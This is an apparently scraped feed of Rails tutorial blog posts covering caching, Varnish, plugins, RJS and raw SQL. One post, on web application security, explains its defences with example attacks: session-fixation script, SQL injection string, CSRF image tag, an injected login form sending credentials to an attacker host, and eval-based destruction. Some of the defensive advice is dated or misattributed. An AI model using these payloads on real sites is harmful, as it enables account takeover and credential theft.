<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9qTJuxPvwpKmkR96aIjqeo8yfZapB3f_r982MJ_JoVQI6XRdsWNtiFMNdauUjE99gOuWSrEqHwHOtS-aqcgtj-IEA03A1alhj1g1FEQ0nI25b6HhqqoxA8s-5mrcgohJtXasTAOybCmk/s1600/firebug.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="62" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9qTJuxPvwpKmkR96aIjqeo8yfZapB3f_r982MJ_JoVQI6XRdsWNtiFMNdauUjE99gOuWSrEqHwHOtS-aqcgtj-IEA03A1alhj1g1FEQ0nI25b6HhqqoxA8s-5mrcgohJtXasTAOybCmk/s320/firebug.png" width="320" /></a></li>
</ul>
<div>
<b>Database Optimization</b></div>
</div>
<div>
<ul style="text-align: left;">
<li>PostgreSQL database is better than MySQL for large data sets</li>
<li>You could use AWS RDS to hold data for better latency and data backups</li>
<li>Apply database indexing on table's those columns which are being used for join, foreign key, ordering or on where clause</li>
<li>Apply data reporting, I mean instead of pulling big data result set on the fly, prepare them before they are being used, you can use any scheduler gem like rufus scheduler or delayed job to make stuff pre-ready.</li>
<li>Inspect slow query from your database server log file and optimize it</li>
</ul>
<div>
You can use NewRelic for details servers logs, graphs, database logs and many many stuff to analyze more.<br />
<br /></div>
</div>
</div>
</div>
Abdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com1tag:blogger.com,1999:blog-6510429457428840754.post-64186187964149834882012-07-05T03:38:00.001-07:002013-05-05T07:52:39.028-07:00integrate http reverse proxy cache server with Rails and Varnish<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<br />
<ul style="text-align: left;">
<li>Setup Apache and make a virtual host to listen it on other port like 8080</li>
<li>Install varnish and listens it on port 80</li>
<li>For the Varnish, you need to do configuration on two files like bellow</li>
</ul>
<br />
<br />
<br />
<script src="https://gist.github.com/barek2k2/5520990.js"></script>
<br />
<div>
<br /></div>
<div>
Here is the requesting flow: Browser ---> Varnish---->Apache2----->Application Server<br />
That means, when u request through browser, it request to Varnish(on port 80) and if varnish has cached then it served directly to client(browser) without interfering apache otherwise Varnish passes the request to apache...In this way you can scale your Rails app heavily and serve a lot of requests concurrently with low memory and low resource consumed.<br />
<br />
<b><i><u>Some varnish useful commands: </u></i></b><br />
<ul style="text-align: left;">
<li><b>Restart Varnish - </b>/etc/init.d/varnish restart</li>
<li><b>Show Varnish statistics - </b>varnishstat</li>
<li><b>Test to see response is coming through Varnish</b> - <br />curl -I http://www.your_app_url.com</li>
</ul>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
</div>
Abdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com1tag:blogger.com,1999:blog-6510429457428840754.post-54354476269757438152012-02-10T04:17:00.000-08:002013-05-20T05:42:25.411-07:00Parallel Processing in Ruby On Rails<div dir="ltr" style="text-align: left;" trbidi="on">
I used ruby's fork when I was sending 60,000 emails from one of Rails applications and it is wise to split the big result set and send emails of each chunk parallely on forks for faster processing! Here is a sample ruby code for processing N length data.<br />
<br />
<script src="https://gist.github.com/barek2k2/5521021.js"></script>
I tested it on Ubuntu 11, ruby 1.9.2, Rails 3.0.10
</div>
Abdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com0tag:blogger.com,1999:blog-6510429457428840754.post-3666685322543794762011-12-16T08:01:00.000-08:002011-12-16T08:40:05.039-08:00argument out of range and 0.0 issue on railsArgument out of range Exception on windows7 with Rails3 and model fields class type is float(0.0). Actually I was trying to use mysql2 gem on windows7 in Rails3.<br /><br />How I fixed it in my case:<br /><ul><li>My system was x86 typed(windows7) and I had 32 bit mysql client installed in my machine with Rails 3.1 and Ruby 1.9.2<br /></li><li>I downloaded <a href="http://www.vertstudios.com/blog/libmysqldll-32-bit-download/">libmysql.dll (32 bit)</a> and placed it on windows/system32 and ruby/bin folder</li><li>I restarted my laptop and FIXED!</li></ul><span style="font-weight: bold; font-style: italic;">This is nothing but libmysql.dll version related issue with system</span>!Abdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com0tag:blogger.com,1999:blog-6510429457428840754.post-39374240167251289332010-02-27T01:36:00.000-08:002013-05-05T08:26:55.392-07:00Dynamic Image from text/string in Rails<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-weight: bold;">Image will be generated dynamically from string or text:</span><br />
<br />
Use - require 'RMagick' in your class<br />
<br />
<script src="https://gist.github.com/barek2k2/5521112.js"></script>
<br />
<br />
<span style="font-weight: bold;">Pre-requisite :</span> You must have rmagick and Imagemagick installed.<br />
<span style="font-weight: bold;">Details:</span> http://www.simplesystems.org/RMagick/doc/draw.html</div>Abdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com3tag:blogger.com,1999:blog-6510429457428840754.post-33750732151479357582010-02-22T04:05:00.001-08:002010-02-24T00:06:56.627-08:00How to develop rails plugin from scratch?<span style="font-weight: bold;">Generate Plugin with command: ruby script/generate plugin hello_world</span><br />It will create file system as bellow:<br />- lib<br /> - hello_world.rb<br />- tasks<br /> - hello_world_tasks.rake<br />- test<br /> - hello_world_test.rb<br />- init.rb<br />- install.rb<br />- uninstall.rb<br />- README<br />- Rakefile<br />- MIT-LICENSE<br /><br /><span style="font-weight: bold;">init.rb </span>will be executed every time when your application runs. Generally hook code is to be included here like you want to make all methods of your plugin available in your app’s models, controllers, views and helpers<br /><br /><span style="font-weight: bold;">Example:</span><br />#All methods in module HelloWorld will be available in all #model’s object<br />ActiveRecord::Base.class_eval do<br /> include HelloWorld<br />end<br /><br />#All methods in module HelloWorld will be available in all controllers<br />ActionController::Base.class_eval do<br /> include HelloWorld<br />end<br /><br />#All methods in module HelloWorld will be available in all views and all helpers<br />ActionView::Base.class_eval do<br /> include HelloWorld<br />end<br /><br /><span style="font-weight: bold;">lib/ hello_world.rb : </span><br /><br /><span style="font-weight: bold;">Example: </span><br /># All methods in this library will be available in all models, controllers, views and helpers if you write code as init.rb above<br /><br />module HelloWorld<br /> def say_hello<br /> return "Hello World"<br /> end<br /> def hello_text<br /> return “this is text”<br /> end<br />end<br /><br />Now you need to do unit test your plugin’s methods. To do so follow:<br /><span style="font-weight: bold;">test/hello_world_test.rb:</span><br /><br /><span style="font-weight: bold;">Example:</span><br />require 'test/unit'<br />require File.join(File.dirname(__FILE__),'../lib/hello_world.rb')<br /><br />class HelloWorldTest < Test::Unit::TestCase<br /> include HelloWorld # includes your library methods to test<br /><br /> def test_this_plugin<br /> hello_world = say_hello <br /> assert_equal hello_world, "Hello World"<br /> assert_not_nil hello_world<br /> end<br /><br /> def test_another<br /> assert_equal true,true<br /> end<br />end<br /><br />To run these test cases, go to your plugin’s directory with command prompt and run like: <span style="font-weight: bold;">ruby test/hello_world_test.rb</span><br /><br />You are done actually with plugin!<br /><br /><span style="font-weight: bold;">Install.rb:</span> It will be executed only once when the plugin is being installed.<br /><br /><span style="font-weight: bold;">Uninstall.rb:</span> This will be executed when you do uninstall your plugin<br /><br /><span style="font-weight: bold;">README:</span> In this file, you should write easy documentation of your plugin with examples. Also you may highlight yourself here.Abdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com2tag:blogger.com,1999:blog-6510429457428840754.post-40795405749647370992010-02-13T02:19:00.000-08:002010-05-02T04:08:57.454-07:00Security of rails Application on WEB<span style="font-weight: bold;">Session Fixation:</span><br />1. In the figure(<a target="_blank" href="http://guides.rubyonrails.org/images/session_fixation.png">http://guides.rubyonrails.org/images/session_fixation.png</a>), suppose a hacker login to the server with his own credential<br /><br />2. Server will store his information into session against client’s _session_id (server generates this id if there is no session id already created). Next time when this client requests this session information, server will response against that _session_id.<br /><br />3. Now suppose hacker becomes able to execute a script like hacker wrote a comment with following script to client’s blog post: <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>.<br /><br />4. Suppose client refreshes his blog post page. Now client’s session id becomes equal with hacker’s session id!!!.<br /><br />5. Now any one from client or hacker will get client’s credential from session!!!<br /><br />6. Thus hacker will get client’s credential and do all as client<br /><br /><span style="font-weight: bold;">Protection: </span><br />Reset all session before login and store session information for login request like:<br /><br />reset_session<br />Session[:user] = User from DB<br /><br /><br /><span style="font-weight: bold;">SQL Injection:</span><br />Suppose we have<br />User.first(:conditions=>["username= #{params[:username]} AND password= #{params[:password]}"])<br /><br />Will generate:<br />SELECT * FROM users where username=params[:username] AND password=params[:password] limit 1<br /><br />What if you pass params[:password]=' OR '1'='1 ???<br /><br />Will generate:<br />SELECT * FROM users where username=‘abc’ AND password=‘’ OR ‘1’=‘1’<br />The query is true and now hacker is logedin!!! For the first user credential<br /><br /><span style="font-weight: bold;">Protection:</span><br />Use ? In string like:<br />User.first(:conditions=>["username=? AND pass=?",params[:username],params[:pass]])<br /><br />Use place holder like<br />User.first(:conditions=>"username=:username AND pass=:pass",{:username=>params[:username], :pass=> params[:pass]})<br /><br />Use Hash like:<br />User.first(:conditions => {:username => params[:username], :password => params[:pass]})<br /><br />Use to_i for integer type data<br />User.find(params[:id].to_i)<br /><br /><br /><span style="font-weight: bold;">Phishing(1):</span><br />If a hacker writes HTML code in comment like:<br /><img src="http://www.domain.com/projects/destroy/1" ><br />than this img tag will request for an image source. Actually this src will make a request to projects controller, destroy method. Generally we check when destroy anything like:<br /><br />def destroy<br /> project = Project.find(params[:id])<br /> if(session_user && session_user.id == project.user_id)<br /> project.destroy()<br /> end<br />end<br /><br />IF CONDITION will be true and hacker will be able to destroy client’s projects!!!<br /><br /><span style="font-weight: bold;">Protection:</span><br />Verify requested method whether it is GET or POST in controller and in view use h() method before the comment body like<br /><%= h blog.comments.first.body %><br />[Actually don’t trust user given input data]<br /><br /><span style="font-weight: bold;">Phishing(2):</span><br />If hacker writes HTML code of site’s login form into his comment like:<br /><br /><div class="login_form" ><br /><form action="http://www.hackar.com/hack"><br />Username: <input type="text" name="username" ><br />Password: <input type="password" name=”password”><br /></form><br /></div><br /><br />And the fool client fills out his username and password with this injected login form than hacker will be able to grab client’s credential!<br /><br /><span style="font-weight: bold;">Protection:</span><br />call protect_from_forgery method from ApplicationController<br />which will generates a hidden field with a token into all html form like<br /><br /><input name=“authentecity_token" value=“d8192312u3n123123091" type=“hidden" ><br /><br />When user submits this form server will check the submitted token against generated token.<br /><br /><br /><span style="font-weight: bold;">Mass assignment:</span><br />Suppose we have users table with a column name role_id. If role id is 1 then the user will be Admin than our conventional registration/profile form will be like:<br /><br /><form action="/users/create" method="post"><br />Username: <input name="[user][username]" type="text"><br />Password: <input name="[user][password]" type="text"><br />Email: <input name="[user][email]" type="text" ><br />First Name: <input name="[user][first_name]" type="text" ><br />Last Name: <input name="[user][last_name]" type="text" ><br /></form><br /><br />Using FIREBUG if I push <input nanme="user[role_id]" value="1" type="hidden" > into this form then any user will be able to become Admin!<br /><br /><span style="font-weight: bold;">Protection: </span><br />Make role_id protected in user model which will be nil when user object is created<br /><br />To update this field from admin follow:<br />model.rol_id = 1<br />model.save(false)<br /><br /><br /><span style="font-weight: bold;">File Upload & Download:</span><br />Do not place file in Rails/public if it is Apache’s home directory because it may be executed (like file.php) when requested<br /><br />Always use send_file method for download<br />Check file type when upload<br /><br /><span style="font-weight: bold;">Log file:</span><br />All rails generated SQL, error report, responses are logged in log file<br /><br />In ApplicationController use the method bellow:<br />filter_parameter_logging :password<br /><br /><br /><br />Part of Log File:<br />Parameters: {"commit"=>"Save", "action"=>"create", "controller"=>"[FILTERED]", “user"=>{“password"=>"[FILTERED]", “username"=>“abc"}}<br /><br /><span style="font-weight: bold;">Don’t use eval with params:</span><br />Eval(params[:model]).find(1)<br />What’s happened if you pass params[:model] = “User.destroy_all”<br /><br />It will become:<br />Eval(“User.destroy_all”).find(1) !!!!!!!<br /><br /><span style="font-weight: bold;">Protection:</span><br />params[:model].constantize.find(1)<br /><br /><span style="font-weight: bold;">Reference: </span>http://guides.rubyonrails.org/security.htmlAbdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com4tag:blogger.com,1999:blog-6510429457428840754.post-68568778719297226012009-12-12T09:42:00.001-08:002012-10-14T00:44:34.259-07:00Simple Math-Logic-IQ-Captcha in Ruby On Rails<div dir="ltr" style="text-align: left;" trbidi="on">
This is Engine based MVC patterned rails gem for Ruby On Rails Application<br />
<br />
Github url: <a href="https://github.com/barek2k2/iq_captcha/">https://github.com/barek2k2/iq_captcha/</a></div>
Abdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com3tag:blogger.com,1999:blog-6510429457428840754.post-78396754189212987432009-12-06T00:47:00.000-08:002009-12-12T09:37:12.420-08:00Caching with railshttp://guides.rubyonrails.org/caching_with_rails.htmlAbdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com0tag:blogger.com,1999:blog-6510429457428840754.post-64120422206178362382009-12-04T21:17:00.000-08:002010-02-26T05:04:56.007-08:00AJAX with Rails, Rails RJSAJAX in Rails application with RJS<br />RJS - Ruby JavaScript - Generates and executes javascript code from your controller in AJAX request to process your Ruby code as well as updates your page's html DOM finally. To see details of how it works lets start<br /><br />1. Suppose you have an ajax request call with an anchor tag in your view file like:<br /><%= link_to_remote('Click Me to show RJS',{:url => {:controller => 'experiment', :action => 'rjs'}, :loading => "", :complete => ''},{}) %><br /><div id="id1">this is content</div><br /><br />And you want to update div of id 'id1' then<br />2. In Controller :<br /> def rjs<br /> #you may have ROR stuff here<br /> render :update do |page|<br /> page.replace_html 'id1', 'This is content after AJAX call' # div with id1 will be replaced with the string<br /> end<br />end<br /><br />Now click on the anchor then div of id ‘id1’ will be replaced by controller’s action’s method rjs’s response<br />Thats all of RJS basic with only 2 steps<br /><br />Now if you want to replace div of id1 with another file’s content then you can do it like:<br /> page.replace_html 'id1', :partial => "experiment/parts/part1", :locals => {:p1 => 1, :p2 => 2} <br /> # part1 is your partial file (located in views/experiment/parts/_part1.html.erb)<br /> # And you may pass parameters with locals p1, p2, …. pn<br /> # you can catch this params in _part1.html.erb file like : <%= p1 %><br /> # You can also update more than 1 div in your view file with the same ajax request like:<br />page.replace_html 'id1', :partial => "experiment/parts/part1"<br />page.replace_html 'id2', ‘Another String’<br /><br />page.remove ‘remove_div_id’<br />page << “js_mehtod()” # where js_mehtod() is the javascript function which resides in your view.<br /><br />Now AJAX call with form submit event <div id="id1">this is content</div><br /><% form_remote_tag :url => {:controller => 'experiment', :action => 'rjs'}, :loading => '', :complete => '', :html => {:method => :post} do %><br /><br /><%= text_field :name %><br /><br /><%= submit_tag(Submit) %><br /> <br /><% end %><br /><br /><br /><br /><br /><br />To know more visit: http://www.developer.com/lang/print.php/10924_3668331_2Abdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com0tag:blogger.com,1999:blog-6510429457428840754.post-39533716879494244962009-12-02T19:50:00.000-08:002009-12-02T20:12:49.633-08:00How to execute SQL Query in rails Application<br /><br />connection = ActiveRecord::Base.connection();<br /><br />Example :<br />1. connection.execute(any_sql_query)<br /><br />2.<br />results = connection.execute("select * from users")<br /> results.each do |row|<br /> puts row[0]<br /> endAbdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com5tag:blogger.com,1999:blog-6510429457428840754.post-15296915670541591402009-12-02T19:49:00.000-08:002009-12-02T20:23:45.116-08:00Extending Rails ActiveRecord::Base ClassExample:<br />1. Create a file(suppose init.rb) into your project's config/initializers folder<br /><br />2. Paste the following code :<br />ActiveRecord::Base::class_eval do<br />def self.your_method<br /> return 'Now I am in ActiveRecord'<br /> end<br />end<br /><br />3. Now you can call your_method from any Model of your application, i,e you are adding your_mothod(it will static method) to all your application's models<br /><br />4. You can call it like :<br /> User.your_method()<br /> Post.your_method() etc...Abdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com0tag:blogger.com,1999:blog-6510429457428840754.post-28732406948198548782009-12-01T01:32:00.000-08:002010-02-26T05:13:10.655-08:00Ruby open class in Rails application, extending Fixnum,Array,Date,String Class1. Make a library file(suppose "your_extension.rb") into your project's lib folder<br /><br />2. require File.join(RAILS_ROOT,'lib/your_extension.rb')<br /> - Add the above line at the End of environment.rb file<br /><br />3.Suppose you want to extend Ruby Fixnum Class with your mehtods(named prime?) then PASTE the following code into "your_extension.rb"<br /><br />class Fixnum <br /> def prime?<br /> n = self<br /> counter = 0<br /> 1.step(n,1) {|i| <br /> if(n%i == 0) <br /> counter += 1<br /> end <br /> }<br /> if(counter == 2)<br /> return true<br /> else<br /> return false<br /> end<br /> end <br />end<br /><br />4. Restart your Rails application and you are done!<br />5. Now you can call prime? method from anywhere of your Rails application like <br /> 2.prime? -- returns true<br /> 5.prime? -- returns true<br /> 10.prime? -- returns falseAbdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com3tag:blogger.com,1999:blog-6510429457428840754.post-6894774061144356112009-11-30T20:17:00.000-08:002009-11-30T22:05:52.004-08:00Pass and catch parameters with RAKE command in Rails Application1. Create a rake file(suppose pass_catch_rake_params.rake) into your project's lib/tasks folder<br /><br />2. Edit this rake file with the following code:<br /> task :rake_task => :environment do <br /> puts ENV['param1'] # You are catching param1<br /> puts ENV['param2'] # You are catching param2<br /> end<br /><br />3. Run the Rake command like this:<br /> rake rake_task param1=10 param2='This is a string'<br /><br />Where rake_task is the rake task name and param1,param2 are the parameters name<br />In your rake task you will get param1 and param2 with their assigned valueAbdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com0